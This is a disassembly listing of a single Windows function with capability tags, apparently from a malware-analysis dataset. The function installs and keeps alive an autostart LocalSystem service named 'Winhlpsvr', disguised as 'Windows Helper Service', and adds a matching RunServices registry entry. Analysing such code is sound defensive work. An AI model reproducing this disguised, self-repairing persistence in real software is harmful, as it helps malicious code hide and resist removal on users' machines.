Function at 0x180020d90
Capabilities:
Create service
Delete service
Modify service
Persist via run registry key
Persist via windows service
Query or enumerate registry value
Query service configuration
Set registry value
Stop service

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x758]
sub rsp, 0x830
mov qword [rbp - 0x60], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x18011a300]
xor rax, rsp
mov qword [rbp + 0x720], rax
call fcn.180036d30
xor r15d, r15d
lea ebx, [r15 + 1]
test eax, eax
je 0x180020e65
xor edx, edx
xor ecx, ecx
mov r8d, 0x20000000
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
test rax, rax
je 0x180020eb6
mov r8d, 0x20010000
lea rdx, str.Winhlpsvr
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdi, rax
test rax, rax
je 0x180020e5a
xor eax, eax
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x40], eax
lea r8, [rbp - 0x58]
lea edx, [rax + 1]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x180020e48
cmp dword [rbp - 0x54], 1
jne 0x180020e51
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x180020eb6
lea rcx, [rbp - 0x58]
call fcn.1800338e0
nop
mov r9d, 0x2001f
mov r8, qword [str.SoftwareMicrosoftWindowsCurrentVersionRunServices]
mov rdx, 0xffffffff80000002
lea rcx, [rbp - 0x58]
call fcn.1800332e0
test rax, rax
je 0x180020eab
lea rdx, str.Winhlpsvr
lea rcx, [rbp - 0x58]
call fcn.180032190
lea rcx, [rbp - 0x58]
call fcn.180031f70
nop
lea rcx, [rbp - 0x58]
call fcn.180033260
jmp 0x180020ebb
mov ebx, 1
cmp dword [0x1801340b0], 0
je 0x180020ee3
lea r9, str.CMonitorThread::CheckService_1
lea r8, str.WatchDog
mov edx, 0xf
lea rcx, [0x180133ff8]
call fcn.18001ab50
mov byte [rbp - 0x10], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp - 0xf]
call fcn.180043ef0
call fcn.180003900
mov r8, rax
lea r9, [0x1800d8288]
lea rdx, [0x1800d1c4c]
lea rcx, [rbp - 0x10]
call fcn.180043b88
lea r8, [rbp - 0x10]
lea rdx, str.__s_
lea rcx, [rbp + 0x100]
call fcn.180043b88
call fcn.180036d30
test eax, eax
je 0x1800213ef
mov r13d, r15d
mov r14d, r15d
xor eax, eax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x80], r15
mov dword [rsp + 0x78], 0x3f480
mov dword [rbp - 0x54], 0xea60
mov dword [rbp - 0x58], ebx
mov dword [rbp - 0x4c], 0x1d4c0
mov dword [rbp - 0x50], ebx
mov qword [rbp - 0x48], r15
mov dword [rbp - 0x70], 3
lea rax, [rbp - 0x58]
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x78], r15
nop word [rax + rax]
mov esi, ebx
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov r12, rax
test rax, rax
je 0x18002138d
mov r8d, 0xf01ff
lea rdx, str..Winhlpsvr
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdi, rax
test rax, rax
jne 0x180021081
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x48], r15
lea rax, str..OcularServices
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x100]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x110
mov r9d, 0xf01ff
lea r8, str.Windows_Helper_Service
lea rdx, str..Winhlpsvr
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rdi, rax
test rax, rax
je 0x18002104b
lea r8, [rsp + 0x78]
mov edx, 2
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov r14d, eax
cmp dword [0x1801340b0], 0
je 0x18002136d
mov qword [rsp + 0x20], rdi
lea r9, str.CMonitorThread::CheckService_3__0x_lx_
lea r8, str.WatchDog
mov edx, 0xf
lea rcx, [0x180133ff8]
call fcn.18001ab50
jmp 0x18002136d
mov rcx, rax
call fcn.180020b90
test eax, eax
jne 0x1800210a1
lea r8, [rsp + 0x78]
lea edx, [rax + 2]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov r14d, eax
mov byte [rbp + 0x320], 0
xor edx, edx
mov r8d, 0x3ff
lea rcx, [rbp + 0x321]
call fcn.180043ef0
mov dword [rsp + 0x70], r15d
lea r9, [rsp + 0x70]
mov r8d, 0x400
lea rdx, [rbp + 0x320]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
test eax, eax
je 0x18002129a
mov r8, qword [rbp + 0x350]
test r8, r8
je 0x18002110d
lea rdx, str.LocalSystem
mov rcx, r8
call fcn.1800451e8
mov r8, qword [rbp + 0x350]
test eax, eax
jne 0x18002110d
mov ebx, r15d
cmp dword [0x1801340b0], 0
je 0x180021194
lea rdx, [0x1800d3220]
mov rax, qword [rbp + 0x338]
test rax, rax
cmovne rdx, rax
lea rcx, [0x1800d3220]
mov rax, qword [rbp + 0x330]
test rax, rax
cmovne rcx, rax
lea rax, [0x1800d3220]
test r8, r8
cmovne rax, r8
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rax
mov eax, dword [rbp + 0x320]
mov dword [rsp + 0x30], eax
mov eax, dword [rbp + 0x324]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ebx
lea r9, str.CMonitorThread::CheckService_5___lu___lu___lu____S_____S_____S__
lea r8, str.WatchDog
mov edx, 0xf
lea rcx, [0x180133ff8]
call fcn.18001ab50
cmp dword [rbp + 0x324], 2
jne 0x1800211e9
mov rcx, qword [rbp + 0x330]
test rcx, rcx
je 0x1800211e9
lea rdx, [rbp + 0x100]
call fcn.1800451e8
test eax, eax
jne 0x1800211e9
mov rcx, qword [rbp + 0x338]
test rcx, rcx
je 0x1800211e9
lea rdx, str..OcularServices
call fcn.1800451e8
test eax, eax
jne 0x1800211e9
cmp dword [rbp + 0x320], 0x110
jne 0x1800211e9
test ebx, ebx
je 0x180021368
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
lea rax, str..OcularServices
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x100]
mov qword [rsp + 0x20], rax
or r9d, 0xffffffff
mov edx, 0x110
mov r8d, 2
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
mov ecx, dword [0x1801340b0]
test ecx, ecx
je 0x180021265
mov dword [rsp + 0x20], eax
lea r9, str.CMonitorThread::CheckService_6___lu_
lea r8, str.WatchDog
mov edx, 0xf
lea rcx, [0x180133ff8]
call fcn.18001ab50
mov ecx, dword [0x1801340b0]
test ebx, ebx
je 0x180021368
test ecx, ecx
je 0x180021290
lea r9, str.CMonitorThread::CheckService_7
lea r8, str.WatchDog
mov edx, 0xf
lea rcx, [0x180133ff8]
call fcn.18001ab50
call fcn.180020740
jmp 0x180021368
cmp dword [0x1801340b0], 0
je 0x1800212c2
lea r9, str.CMonitorThread::CheckService_4
lea r8, str.WatchDog
mov edx, 0xf
lea rcx, [0x180133ff8]
call fcn.18001ab50
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x45b
je 0x180021359
xor eax, eax
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rax
mov dword [rbp - 0x20], eax
lea r8, [rbp - 0x38]
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ControlService]
cmp dword [0x1801340b0], 0
je 0x18002131f
mov dword [rsp + 0x20], eax
lea r9, str.CMonitorThread::CheckService_5.1___lu_
lea r8, str.WatchDog
mov edx, 0xf
lea rcx, [0x180133ff8]
call fcn.18001ab50
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
cmp dword [0x1801340b0], 0
je 0x180021354
mov dword [rsp + 0x20], eax
lea r9, str.CMonitorThread::CheckService_5.2___lu_
lea r8, str.WatchDog
mov edx, 0xf
lea rcx, [0x180133ff8]
call fcn.18001ab50
call fcn.180020740
mov esi, r15d
inc r13d
cmp r13d, 2
cmova esi, ebx
jmp 0x18002136d
mov ebx, 1
test rdi, rdi
je 0x18002137b
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test esi, esi
jne 0x1800213b9
jmp 0x180020f90
cmp dword [0x1801340b0], 0
je 0x1800214c7
lea r9, str.CMonitorThread::CheckService_2
lea r8, str.WatchDog
mov edx, 0xf
lea rcx, [0x180133ff8]
call fcn.18001ab50
cmp dword [0x1801340b0], 0
je 0x1800214c7
mov dword [rsp + 0x20], r14d
lea r9, str.CMonitorThread::CheckService_8___d_
lea r8, str.ServConf
mov edx, 0xf
lea rcx, [0x180133ff8]
call fcn.18001ab50
jmp 0x1800214c7
mov qword [rbp - 0x58], r15
lea r8, [rbp - 0x58]
mov rdx, qword [str.SoftwareMicrosoftWindowsCurrentVersionRunServices]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1800214c7
mov byte [rbp + 0x210], al
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp + 0x211]
call fcn.180043ef0
mov dword [rsp + 0x74], 0x208
mov dword [rsp + 0x70], r15d
lea rax, [rsp + 0x74]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x210]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x70]
xor r8d, r8d
lea rdx, str..Winhlpsvr
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180021488
cmp dword [rsp + 0x70], 1
jne 0x180021488
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x210]
call fcn.1800451e8
test eax, eax
je 0x1800214bd
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp - 0x10]
repne scasb al, byte [rdi]
not rcx
and ecx, ecx
mov dword [rsp + 0x28], ecx
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str..Winhlpsvr
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x720]
xor rcx, rsp
call fcn.180043ec0
lea r11, [rsp + 0x830]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret